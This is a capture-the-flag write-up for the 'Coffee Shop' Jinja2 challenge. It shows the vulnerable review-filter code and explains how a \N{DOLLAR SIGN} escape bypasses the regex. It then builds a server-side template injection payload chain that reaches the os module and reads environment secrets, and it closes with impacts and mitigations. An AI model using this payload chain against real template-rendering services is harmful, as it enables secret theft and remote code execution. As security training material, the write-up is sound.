Featured image of post Coffee Shop - DOJO n°31

Coffee Shop - DOJO n°31

📜 Description

The coffee shop has gone well so far, only one too strong espresso was handed out. I bet that’s because we didn’t use our own special coffee beans. Anyway, make a review and don’t forget to take advantage of our new feature allowing escape characters! ~ The flag can be found in the enviroment variable: FLAG.

🕵️ Proof of Concept

Source code :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import re
from urllib.parse import unquote
from jinja2 import Environment, Template, FileSystemLoader

# We used to use Mako as a template engine
env = Environment(
    autoescape=True,
    loader=FileSystemLoader('./templates'),
    variable_start_string="${",
    variable_end_string="}",
    block_start_string="<%",
    block_end_string="%>",
)

class Review():
    reviews = {
        "Best coffee in town": 5,
        "My espresso was to strong": 2,
        "Good beans": 3,
    }

    def getPage(self) -> str:
        return env.from_string('''
        <% extends "index.html" %>
        <% block list %>
        <% for review, stars in reviews.items() %>
            <div class="review">
                <img class="profile" src="">
                <div class="stars" value="${ stars }"></div>
                <p>${ review } </p>
            </div>
        <% endfor %>
        <% endblock %>
        ''').render(reviews=self.reviews)            

    def addReview(self, review:str):
        # If the review seems to be malicious, make a good review instead
        if re.search(r"(\\[xu0-9]|\$)", review, re.IGNORECASE):
            review = "Best coffee I had"
        else:    
            review = ( bytes(review, "utf-8").decode("unicode_escape") )
        self.reviews[review] = 5

review = Review()
review.addReview(unquote("test"))

print( env.from_string(review.getPage()).render() )

The script uses Jinja2 as a template engine to generate HTML content. It defines an environment for Jinja2, specifying the template directory and custom delimiters for variables and blocks like Mako template engine .

Our input is reflected thanks to ${ review }. If our input review equals ${7*7}, then the server will render 49. But the server uses a regex to prevent any injection :The script uses Jinja2 as a template engine to generate HTML content. It defines an environment for Jinja2, specifying the template directory and custom delimiters for variables and blocks like Mako template engine .

Our input is reflected thanks to ${ review }. If our input review equals ${7*7}, then the server will render 49. But the server uses a regex to prevent any injection :

1
if re.search(r"(\\[xu0-9]|\$)", review, re.IGNORECASE)`

This regex matches a $ or if a \ followed by either x, u, 0-9, which could indicate escape sequences or hexadecimal representations in strings.

If we look at the Python documentation regarding Unicode :

So if we send: \N{DOLLAR SIGN}, it returns:

Now, If we send \N{DOLLAR SIGN}{7*7}, it returns :

Our SSTi works!

So we have to try to find a module where os is already imported, and try to access it. In the source of the jinja2 module, we see that the os module is imported into the utils.py file, (So the os module is accessible at jinja2.utils.os).

The _TemplateReference__context attribute of self (TemplateReference) is very interesting because it allows access to three variables cycler, joiner and namespace all present in the utils.py file where the os module is also imported.

Once we get to the right submodule, all we have to do is go back to the globals to directly access the os module:

1
\N{DOLLAR SIGN}{self._TemplateReference__context.cycler.__init__.__globals__.os}

Now we just have to display the attributes of the os object.

1
\N{DOLLAR SIGN}{self._TemplateReference__context.cycler.__init__.__globals__.os.__dict__}

If we look at the response, we can see the environ attribute, which itself contains an attribute DOJO_FLAG with our flag.

1
\N{DOLLAR SIGN}{self._TemplateReference__context.cycler.__init__.__globals__.os.__dict__.environ.DOJO_FLAG}

Thank you Brumens for this very interesting challenge!

🚧 Impacts

A remote code execution trough a Server-Side Template Injection could allow an attacker to :

Execute OS commands. Read/Edit/Delete files. Steal secrets. Server takeover. Perform malicious tasks from the victim server. Perform scan on the internal network. …

🔐 Mitigations

Input validation is a frequently-used technique for checking potentially dangerous inputs in order to ensure that the inputs are safe for processing within the code, or when communicating with other components. When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

📚 References

Arbitrary code execution CWE-20: Improper Input Validation CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine